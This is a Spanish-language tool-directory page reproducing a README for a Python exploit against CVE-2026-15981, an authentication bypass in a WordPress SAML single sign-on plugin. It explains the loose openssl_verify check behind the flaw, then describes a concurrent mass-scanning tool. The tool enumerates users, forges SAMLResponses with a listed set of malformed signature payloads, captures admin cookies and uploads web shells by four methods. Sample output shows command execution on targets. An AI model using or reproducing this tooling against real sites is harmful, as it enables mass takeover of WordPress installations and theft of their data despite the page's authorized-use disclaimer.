Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-15981 — SAML Single Sign On <= 5.4.4 - Bypass de autenticación no autenticado a través del parámetro SAMLResponse | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2026-15981
Autenticación y AutorizaciónGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de Penetración
GitHubnxploited/cve-2026-15981

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - Bypass de autenticación no autenticado a través del parámetro SAMLResponse

Ver Repositorio
hace 26 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - Bypass de Autenticación No Autenticado mediante el Parámetro SAMLResponse

CVE CVSS CWE CWE Python

CVE-2026-15981

SAML Single Sign On ≤ 5.4.4 — Bypass de Autenticación No Autenticado

Exploit de Prueba de Concepto
Firma malformada → `openssl_verify()` devuelve `-1` → conversión flexible de PHP a `true` → `wp_set_auth_cookie()` como Administrador


Resumen de la Vulnerabilidad

Descripción

El plugin SAML Single Sign On – SSO Login para WordPress es vulnerable a un Bypass de Autenticación en todas las versiones hasta la 5.4.4 inclusive. Esto se debe a que la función mo_saml_validate_signature() realiza una comprobación booleana flexible sobre el entero de tres estados devuelto por openssl_verify() de PHP, lo que hace que un valor de retorno de error de -1 se evalúe como verdadero y, por tanto, se trate como una verificación de firma exitosa.

Esto permite a atacantes no autenticados iniciar sesión como cualquier usuario existente de WordPress, incluidos los administradores, enviando una SAMLResponse manipulada que contiene un NameID controlado por el atacante y un valor de firma deliberadamente malformado que provoca un error de procesamiento de OpenSSL — eludiendo la verificación por completo y dando como resultado la llamada a wp_set_auth_cookie() para la cuenta objetivo.

Causa Raíz

root@kitploit:~
Attacker sends crafted SAMLResponse
         │
         ▼
mo_saml_validate_signature()
         │
         ▼
openssl_verify($data, $malformed_sig, $key)
         │
         ├─ Returns  1  → valid signature      ✓
         ├─ Returns  0  → invalid signature     ✗
         └─ Returns -1  → OpenSSL internal error
                │
                ▼
     PHP loose comparison:  if ($result)
                │
                ├─ (int) 1   → true   ✓
                ├─ (int) 0   → false  ✓
                └─ (int) -1  → true   ← BUG: error treated as success
                       │
                       ▼
             wp_set_auth_cookie() called
                       │
                       ▼
             Attacker is now Administrator

La corrección es trivial — if ($result === 1) en lugar de if ($result) — pero el impacto de la falla es un bypass total de autenticación.


Características

  • Escaneo masivo de múltiples objetivos — procesamiento concurrente de listas de objetivos
  • Fingerprinting completo de WordPress — confirma WordPress antes de continuar
  • Detección de plugin y verificación de versión — identifica miniOrange SAML SSO y valida la versión ≤ 5.4.4
  • Descubrimiento de metadatos del SP — extrae el Entity ID y la URL ACS de ?option=mosaml_metadata
  • Enumeración integral de usuarios:
    • API REST de WP (/wp-json/wp/v2/users)
    • Consultas REST por ID (IDs 1–10)
    • Redirecciones de archivo de autor (/?author=N)
    • Coincidencia de patrones en el cuerpo HTML
    • Respaldo basado en dominio + nombres de administrador comunes
  • Descubrimiento del emisor IdP — sigue las redirecciones de ?option=saml_user_login y extrae las URL base del IdP
  • Motor de falsificación de SAMLResponse:
    • Canonicalización Exclusive C14N correcta mediante lxml
    • Cálculo correcto del Digest (SHA-1/SHA-256/SHA-384/SHA-512)
    • Inyección del elemento de firma después de </Issuer> según la especificación SAML
    • Más de 12 cargas útiles de firma malformada diseñadas para provocar openssl_verify() = -1
    • Itera usuarios × emisores × algoritmos × firmas × indicadores de audiencia × entity IDs del SP
  • — comprueba la cookie después de cada intento

Requisitos

root@kitploit:~
Python >= 3.8
root@kitploit:~
pip install requests lxml

lxml es necesario para una canonicalización Exclusive C14N correcta de la Assertion SAML.


Uso

root@kitploit:~
python CVE-2026-15981.py

Se te solicitará:

CampoDescripciónPor defecto
Archivo de objetivosRuta a un archivo de texto con un objetivo por línealist.txt
HilosNúmero de trabajadores concurrentes (1–100)5

Formato del Archivo de Objetivos

root@kitploit:~
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress

Una URL por línea. Se utiliza HTTP por defecto si no se especifica un esquema.


Salida

Terminal

root@kitploit:~
  ███████╗███╗   ███╗███████╗
  ██╔════╝████╗ ████║██╔════╝
  ███████╗██╔████╔██║███████╗
  ╚════██║██║╚██╔╝██║╚════██║
  ███████║██║ ╚═╝ ██║███████║
  ╚══════╝╚═╝     ╚═╝╚══════╝
   ╔══════════════════════════════════════════════════════════╗
   ║  miniOrange SAML SSO <= 5.4.4                           ║
   ║  openssl_verify() -1 Bypass -> Admin Session            ║
   ╚══════════════════════════════════════════════════════════╝
  By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
  T.m @Kxploit

Cada objetivo avanza a través de 7 etapas etiquetadas:

root@kitploit:~
  ============================================================
    target.com
  ============================================================
  [1] WordPress
      confirmed
  [2] SAML plugin
      version: 5.4.4
      miniOrange SAML detected
  [3] SP metadata
      metadata entityID: https://target.com/...
      metadata ACS: https://target.com/
  [4] Users
      REST: admin (id=1)
      REST: editor (id=2)
      author/3: johndoe
      4 found: ['admin', 'editor', 'johndoe', 'target']
  [5] Issuers
      SSO redirect found
      3 candidates
  [6] Exploit
      COOKIE! #14 user=admin 0xFF*256/rsa-sha256
        wordpress_logged_in_abc123=admin%7C1753...
        wp-admin accessible
          user=admin  [email protected]
          users.php -> Admin
  [7] Shell upload
      M1: plugin uploaded
      SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
        -> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...

  +==========================================================+
  |  ADMIN SESSION CONFIRMED                                 |
  +==========================================================+
  |  Target : https://target.com
  |  User   : admin
  |  Issuer : https://idp.example.com/simplesaml/...
  |  Method : 0xFF*256/rsa-sha256
  |  Cookie : wordpress_logged_in_abc123=admin%7C1753...
  |  Shell  : https://target.com/wp-content/plugins/nxproof/Nx.php
  +==========================================================+

Archivos de Resultado

ArchivoContenido
sms.txtUna línea por sesión de administrador confirmada — marca de tiempo, objetivo, usuario, cookie, URL del shell, emisor, método de firma
sms_debug.jsonJSON de diagnóstico completo para cada objetivo — incluidos los recuentos de intentos y las clasificaciones de fallos

Formato de la Línea de Resultado

root@kitploit:~
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256

Resumen

root@kitploit:~
  ============================================================
    DONE - 142.3s
  ============================================================
    ADMIN=3  miss=47  skip=100
    results -> sms.txt  debug -> sms_debug.json
  ============================================================

Pipeline de Explotación

root@kitploit:~
Target
  │
  ├─ [1] WordPress Detection
  │       └─ wp-login.php / wp-json / jQuery fingerprint
  │
  ├─ [2] SAML Plugin Detection
  │       ├─ readme.txt version check (≤ 5.4.4)
  │       └─ SAML signature detection in HTML
  │
  ├─ [3] SP Metadata Discovery
  │       └─ ?option=mosaml_metadata → entityID + ACS URL
  │
  ├─ [4] User Enumeration
  │       ├─ REST API /wp/v2/users (bulk + per-ID)
  │       ├─ Author archive redirect (/?author=N)
  │       ├─ HTML body pattern matching
  │       └─ Domain fallback + common admin names
  │
  ├─ [5] IdP Issuer Discovery
  │       ├─ ?option=saml_user_login redirect → IdP URL
  │       └─ wp-login.php SAML link extraction
  │
  ├─ [6] SAMLResponse Forgery & Delivery
  │       │
  │       │   For each (user × issuer × algorithm × signature × audience × SP ID):
  │       │
  │       ├─ Build SAML Assertion with attacker-controlled NameID
  │       ├─ Canonicalize via Exclusive C14N (lxml)
  │       ├─ Compute correct DigestValue for the Assertion
  │       ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
  │       ├─ Wrap in <samlp:Response>, Base64 encode
  │       ├─ POST SAMLResponse to ACS URL
  │       ├─ Check for wordpress_logged_in_* cookie
  │       ├─ If cookie found → verify admin role via wp-admin
  │       └─ Classify failure via diagnostic engine
  │
  └─ [7] Post-Exploitation (on admin session)
          ├─ M1: Plugin ZIP upload + activation
          ├─ M2: REST API plugin upload
          ├─ M3: Theme/Plugin editor file write
          ├─ M4: Media async upload
          └─ Shell execution verification (Nx-zD signature)

Cargas Útiles de Firma Malformada

El exploit incluye más de 12 cargas útiles de firma diseñadas específicamente para provocar openssl_verify() = -1:

Cada una se combina con URI de algoritmos SHA-1 y SHA-256, y se prueba con/sin restricción de Audience, en múltiples Entity IDs del SP — maximizando las probabilidades de alcanzar la ruta de retorno -1 en cualquier versión de OpenSSL.


Descargo de Responsabilidad

Esta herramienta se proporciona estrictamente para pruebas de seguridad autorizadas y fines de investigación educativa. Úsala únicamente contra sistemas que poseas o para los que tengas autorización escrita explícita para probar.

El acceso no autorizado a sistemas informáticos es un delito. El autor no asume ninguna responsabilidad por el mal uso, los daños o cualquier consecuencia legal derivada del uso de este software. Eres el único responsable de garantizar el cumplimiento de todas las leyes y normativas aplicables en tu jurisdicción.


Por: Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit

Descargar herramienta
CampoDetalle
ID CVECVE-2026-15981
Plugin afectadominiOrange SAML 2.0 Single Sign On – SSO Login (WordPress)
Versiones afectadasTodas las versiones hasta la 5.4.4 inclusive
TipoBypass de Autenticación No Autenticado
CWECWE-287: Autenticación Incorrecta / CWE-305: Bypass de Autenticación por Debilidad Primaria
CVSS 3.19.8 CRÍTICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AutenticaciónNo se requiere ninguna
Verificación de sesión
wordpress_logged_in_*
  • Confirmación del rol de administrador — verifica el acceso a /wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php
  • Extracción de perfil — lee el nombre de usuario y el correo electrónico de /wp-admin/profile.php
  • 4 métodos de subida de shell con sesión de administrador:
    • M1 — Subida de plugin ZIP mediante plugin-install.php
    • M2 — Subida de plugin por API REST mediante /wp-json/wp/v2/plugins
    • M3 — Escritura de archivos en el editor de temas/plugins
    • M4 — Subida asíncrona de medios
  • Verificación de ejecución del shell — confirma la firma Nx-zD en el cuerpo de la respuesta
  • Motor de diagnóstico — clasifica los motivos de fallo (DIGEST_FAIL, ISSUER, AUDIENCE, TIME, etc.)
  • Salida JSON de depuración — registro de diagnóstico completo por objetivo para su análisis
  • Carga ÚtilDescripción
    0xFF * 256256 bytes de 0xFF — padding PKCS#1 no válido
    0xFF * 384384 bytes para tamaños de clave RSA-3072
    0xFF * 512512 bytes para tamaños de clave RSA-4096
    0xFF * 128Buffer más corto para tamaños de clave menores
    0xFF * 64Padding no válido mínimo
    0x00 0x01 0xFF*254Parece PKCS#1 v1.5 pero con estructura incorrecta
    0x00 0x01 0xFF*126Estructura similar a PKCS#1 más corta
    null_2BDos bytes adyacentes a null
    rand_3B / rand_7BBytes aleatorios — provoca errores de análisis
    asn1_badSecuencia DER ASN.1 malformada
    ff_1BUn único byte 0xFF